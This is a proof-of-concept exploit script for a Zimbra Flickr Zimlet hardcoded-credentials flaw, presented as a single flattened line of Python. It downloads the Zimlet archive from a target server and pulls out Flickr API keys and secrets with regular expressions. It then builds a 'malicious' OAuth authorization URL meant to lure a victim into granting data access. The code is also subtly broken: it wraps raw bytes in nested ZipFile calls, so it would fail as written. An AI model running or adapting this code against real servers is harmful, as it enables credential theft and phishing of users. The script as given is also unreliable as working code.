CVE-2025-67809: Zimbra Collaboration Flickr Zimlet 硬编码API凭证漏洞

# CVE-2025-67809 PoC - Zimbra Flickr Zimlet Hardcoded Credentials # This PoC demonstrates extraction of hardcoded Flickr API credentials from Zimbra Zimlet import zipfile import re import requests import json from urllib.parse import urlparse def extract_zimlet_credentials(zimlet_url): """ Extract hardcoded Flickr API credentials from Zimbra Flickr Zimlet """ print(f"[*] Downloading Zimlet from: {zimlet_url}") # Download the Zimlet ZIP file response = requests.get(zimlet_url, timeout=30) if response.status_code != 200: print(f"[-] Failed to download Zimlet: HTTP {response.status_code}") return None # Save and extract the ZIP file zimlet_data = response.content # Pattern to match Flickr API credentials in Zimlet files flickr_key_pattern = re.compile(r'flickr[_-]?(api[_-]?key|consumer[_-]?key)[=:]\s*["\']?([a-zA-Z0-9_-]{20,})["\']?', re.IGNORECASE) flickr_secret_pattern = re.compile(r'flickr[_-]?api[_-]?secret[=:]\s*["\']?([a-zA-Z0-9_-]{20,})["\']?', re.IGNORECASE) extracted_creds = { 'api_key': None, 'api_secret': None, 'files_analyzed': [] } try: with zipfile.ZipFile(zipfile.ZipFile(zimlet_data)) as zf: for filename in zf.namelist(): print(f"[+] Analyzing: {filename}") try: content = zf.read(filename).decode('utf-8', errors='ignore') extracted_creds['files_analyzed'].append(filename) # Search for API key key_match = flickr_key_pattern.search(content) if key_match and not extracted_creds['api_key']: extracted_creds['api_key'] = key_match.group(2) print(f"[!] Found Flickr API Key: {key_match.group(2)}") # Search for API secret secret_match = flickr_secret_pattern.search(content) if secret_match and not extracted_creds['api_secret']: extracted_creds['api_secret'] = secret_match.group(1) print(f"[!] Found Flickr API Secret: {secret_match.group(1)}") except Exception as e: continue except zipfile.BadZipFile: print("[-] Invalid ZIP file format") return None return extracted_creds def exploit_oauth_flow(api_key, api_secret, target_user): """ Simulate malicious OAuth flow using extracted credentials """ print(f"\n[*] Simulating OAuth attack against user: {target_user}") print(f"[*] Using API Key: {api_key}") # Construct malicious OAuth request oauth_base_url = "https://www.flickr.com/services/oauth/authorize" params = { 'oauth_token': 'malicious_request_token', # In real attack, obtain valid request token 'perms': 'read', 'api_key': api_key } malicious_url = f"{oauth_base_url}?oauth_token={params['oauth_token']}&perms={params['perms']}&api_key={params['api_key']}" print(f"[!] Malicious OAuth URL generated:") print(f" {malicious_url}") print(f"[!] If victim approves this request, attacker gains Flickr data access") return malicious_url if __name__ == "__main__": # Example usage zimlet_url = "http://target-zimbra.com/zimlet/com_zimbra_flickr.zip" print("=" * 60) print("CVE-2025-67809 PoC - Zimbra Flickr Zimlet Credential Extraction") print("=" * 60) # Step 1: Extract credentials creds = extract_zimlet_credentials(zimlet_url) if creds and creds['api_key'] and creds['api_secret']: print(f"\n[+] Successfully extracted credentials!") print(f" API Key: {creds['api_key']}") print(f" API Secret: {creds['api_secret']}") # Step 2: Demonstrate OAuth exploitation exploit_oauth_flow(creds['api_key'], creds['api_secret'], '[email protected]') else: print("[-] Failed to extract valid credentials")